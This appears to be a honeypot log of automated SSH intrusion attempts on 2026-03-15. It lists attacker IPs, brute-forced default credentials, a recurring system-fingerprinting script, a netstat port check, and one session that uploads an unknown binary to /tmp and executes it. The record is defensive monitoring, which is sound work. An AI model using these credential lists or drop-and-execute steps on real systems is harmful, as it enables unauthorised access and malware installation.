2026-03-15 10:34 EDT Β· as root/123456, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 pretzel_root_15 (157.230.101.198) β€” Frankfurt am Main, Germany Β· 3 sessions Β· 12 cmds
2026-03-15 10:28 EDT Β· as root/1234, root/admin123, root/pass123
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 stein_root_19 (209.38.222.136) β€” Frankfurt am Main, Germany Β· 3 sessions Β· 12 cmds
2026-03-15 10:07 EDT Β· as docker/docker123, pi/raspberry, ubuntu/ubuntu
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 crumpet_root_10 (46.101.91.71) β€” Slough, United Kingdom Β· 5 sessions Β· 20 cmds
2026-03-15 09:45 EDT Β· as oracle/oracle, postgres/postgres, root/password
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 barbie_root_6 (170.64.183.186) β€” Sydney, Australia Β· 3 sessions Β· 12 cmds
2026-03-15 09:39 EDT Β· as root/1234, root/123456, root/root
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 windmill_root_7 (134.209.200.134) β€” Amsterdam, Netherlands Β· 3 sessions Β· 12 cmds
2026-03-15 09:10 EDT Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 eagle_root_17 (172.182.195.226) β€” Phoenix, United States Β· 1 session Β· 1 cmd
2026-03-15 08:46 EDT Β· as root/1234
netstat
$ netstat -tulpn | head -10
🎭 tea_root_9 (209.97.141.224) β€” Slough, United Kingdom Β· 4 sessions Β· 16 cmds
2026-03-15 08:31 EDT Β· as root/123456, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 spice_root_6 (159.65.158.45) β€” Bengaluru, India Β· 3 sessions Β· 12 cmds
2026-03-15 08:17 EDT Β· as root/123456, root/admin, root/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 barbie_root_2 (134.199.172.133) β€” Sydney, Australia Β· 2 sessions Β· 2 cmds
2026-03-15 08:13 EDT Β· as admin/admin, admin/admin123
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—2
🎭 spice_root_7 (167.71.228.111) β€” Bengaluru, India Β· 2 sessions Β· 8 cmds
2026-03-15 08:04 EDT Β· as root/admin, root/root
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 roo_root_4 (170.64.179.164) β€” Sydney, Australia Β· 4 sessions Β· 16 cmds
2026-03-15 07:36 EDT Β· as admin/admin123, root/1234, root/admin123
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 reef_root_2 (170.64.165.10) β€” Sydney, Australia Β· 7 sessions Β· 28 cmds
2026-03-15 06:20 EDT Β· as root/123456, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 stein_root_5 (116.203.29.12) β€” Nuremberg, Germany Β· 35 sessions Β· 35 cmds
2026-03-15 04:52 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 35x across 35 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 tiger_root_6 (206.189.130.47) β€” Bengaluru, India Β· 1 session Β· 4 cmds
2026-03-15 05:37 EDT Β· as root/root
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 silk_root_21 (14.103.117.93) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-03-15 04:59 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 fog_root_13 (206.189.22.86) β€” Slough, United Kingdom Β· 5 sessions Β· 20 cmds
2026-03-15 04:14 EDT Β· as oracle/oracle, postgres/postgres, root/password
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 reef_root (170.64.232.12) β€” Sydney, Australia Β· 2 sessions Β· 2 cmds
2026-03-15 03:59 EDT Β· as admin/admin, admin/admin123
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—2
🎭 outback_root_3 (170.64.159.210) β€” Sydney, Australia Β· 6 sessions Β· 24 cmds
2026-03-15 02:25 EDT Β· as root/1234, root/123456, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 roo_root_5 (170.64.179.36) β€” Sydney, Australia Β· 3 sessions Β· 12 cmds
2026-03-15 01:49 EDT Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 scone_root_11 (188.166.152.204) β€” Slough, United Kingdom Β· 3 sessions Β· 12 cmds
2026-03-15 01:22 EDT Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 cipher_pi_2 (116.105.173.160) β€” Da Nang, Vietnam Β· 2 sessions Β· 3 cmds
2026-03-15 01:01 EDT Β· as pi/raspberry
make executable β†’ execute payload β†’ execute from /tmp
$ cd /tmp && chmod +x 9xAfYPZA && bash -c ./9xAfYPZA
↳ make executable
$ ./9xAfYPZA
↳ execute payload
$ scp -t /tmp/9xAfYPZA
↳ execute from /tmp
🎭 bike_root_10 (167.71.7.85) β€” Amsterdam, Netherlands Β· 6 sessions Β· 24 cmds
2026-03-15 00:29 EDT Β· as admin/admin, root/1234, root/123456
export β†’ uname β†’ cat (repeated export 6x)
